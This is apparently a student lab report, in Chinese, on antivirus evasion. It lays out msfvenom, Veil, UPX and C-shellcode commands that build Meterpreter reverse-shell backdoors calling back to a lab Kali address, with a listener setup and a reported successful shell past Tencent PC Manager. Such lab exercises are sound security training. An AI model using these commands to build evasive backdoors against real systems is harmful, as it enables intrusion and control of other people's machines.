Exp3-免杀原理
Exp3-免杀原理
0.基础问题
-
杀软是如何检测出恶意代码的?
答:①基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,检测时提取特征码和库内做比对来判断。②利用启发式恶意软件检测:基于一些特征或行为等,如果与恶意软件高度相似或基本相同,则判定其为恶意软件。③基于行为的恶意软件检测:对敏感行为进行实时监控,如果某一程序有如常见恶意代码的行为,则视其为恶意软件,是启发式的延申。
-
免杀是做什么?
答:给木马或病毒程序增加伪装,让自己设置的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除。
-
免杀的基本方法有哪些?
答:①改变特征码②改变行为③修改内存特征码④等价替换法⑤通用跳转法⑥非常规方法
-
开启杀软能绝对防止电脑中恶意代码吗?
答:不能绝对防止。杀软可以检测出绝大多数常见恶意软件,但一些精心免杀处理过的恶意软件或是较新较复杂的恶意软件,杀软一般无法防止。
1.实验准备
免杀测试平台https://www.virustotal.com/gui/home/upload
kali虚拟机ip地址:192.168.233.136
2.实验过程记录
2.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
-
通过免杀测试平台检测实验二中生成的后门exe文件:20201312_backdoor.exe
结果如下
-
使用Unicode编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.233.136 LPORT=1312 -f exe > 20201312backdoor2.exe -e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
重新检测结果如下,结果没有变化
编码多次(此处编码12次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -12 -b '\x00' LHOST=192.168.233.136 LPORT=1312 -f exe > 20201312backdoor3.exe
结果如下
-
利用php格式文件检测
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.233.136 LPORT=1312 x> 20201312_backdoor_php.php
检测结果如下
-
利用jar文件检测
msfvenom -p java/shell_reverse_tcp LHOST=192.168.233.136 LPORT=1312 -f jar > 20201312_backdoor_jar.jar
检测结果如下
2.2veil,加壳工具
-
安装veil-evasion
sudo apt-get update sudo apt-get install veil-evasion cd /usr/share/veil/config
需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,所以要输入
sudo su //进入root权限,否则将无法更改 vim setup.sh
更改setup.sh第260行的克隆地址为
sudo git clone https://gitee.com/spears/VeilDependencies.git
然后输入veil,安装相关模块
安装完成
-
利用加壳工具产生后门软件
veil use evasion use c/meterpreter/rev_tcp.py set LHOST 192.168.233.136 set LPORT 1312 generate
输入文件名为20201312veil
可以看到生成的.exe文件路径为/var/lib/veil/output/compiled/20201312veil.exe
找到文件并将其拖动到桌面(方便后续检测打开文件)
检测结果如下
-
免杀加壳尝试
输入 cd /var/lib/veil/output/compiled upx 20201312veil.exe -o 20201312_veil_upx.exe
可以看到成功生成了文件,同样拖动到桌面
检测结果如下
2.3使用C + shellcode编程
-
使用msfvenom 得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.136 LPORT=1312 -f c
编辑vim shellcode_c.c文件,输入生成的shellcode以及下列代码
int main() { int (*func)() =(int(*)())buf; func(); }
通过i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe编译成可执行文件
同样拖动到桌面,检测结果如下
2.4通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
依次输入
veil
use evasion
list
python/meterpreter/rev_tcp.py
use python/meterpreter/rev_tcp.py
set LHOST 192.168.233.136
set LPORT 1312
generate
2
1312xzy
对下面文件进行检测,结果如下
原理:使用了数据加密的方式进行多次编译后门软件
2.5加分项:用另一电脑实测,在杀软开启的情况下,可运行并回连成功
我使用的是自己的kali虚拟机和主机,杀毒软件为腾讯电脑管家
在Windows上监听1312端口等待接收可执行文件20201312_veil_upx.exe
ncat -lv 1312 >20201312_veil_upx.exe
在Kali上将生成的20201312_veil_upx.exe传送给Windows
nc 192.168.1.107 1312 < 20201312_veil_upx.exe
文件20201312_veil_upx.exe成功传输,并未被查杀
输入msfconsole进入msf控制台
配置监听模块
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.233.136 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1312
exploit
在主机上双击运行20201312_veil_upx.exe,成功回连,获取到Windows中的shell,执行dir命令结果如下
3.问题与解决
- 问题1
在主机上用免杀测试平台检测后门程序时,报错如下:
我请教了遇到同样问题的同学,分析因为后门文件是在kali虚拟机中生成后传输到主机上的,有可能是这个过程中有问题导致无法检测,所以我在虚拟机中进行了测试,得到了结果。
-
问题2
利用加壳工具产生后门软件时,输入文件名后报错
试了两遍都是一样的结果后我意识到由于我重新打开了终端,当前是20201312用户,没有进入root权限,输入sudo su后重新来过就解决了问题。
4.实验总结与体会
这次实验是三次中耗时最短的一个,总体还是比较顺利的,除了veil安装,我总共尝试了三次,第一次报错,第二次没反应,第三次终于安装成功,但其实我什么都没改动,也不知道问题出在哪里了。通过这次实验我也记住了每一次实验开始前都应该用sudo su进入root权限,这样可以避免很多不必要的报错。另外,做附加题目时,我传输的后门程序没有被杀毒软件查出来,这让我意识到了杀毒软件并不能百分百清除恶意程序,平常使用电脑的过程中还需要多注意,防止被攻击者钻了空子。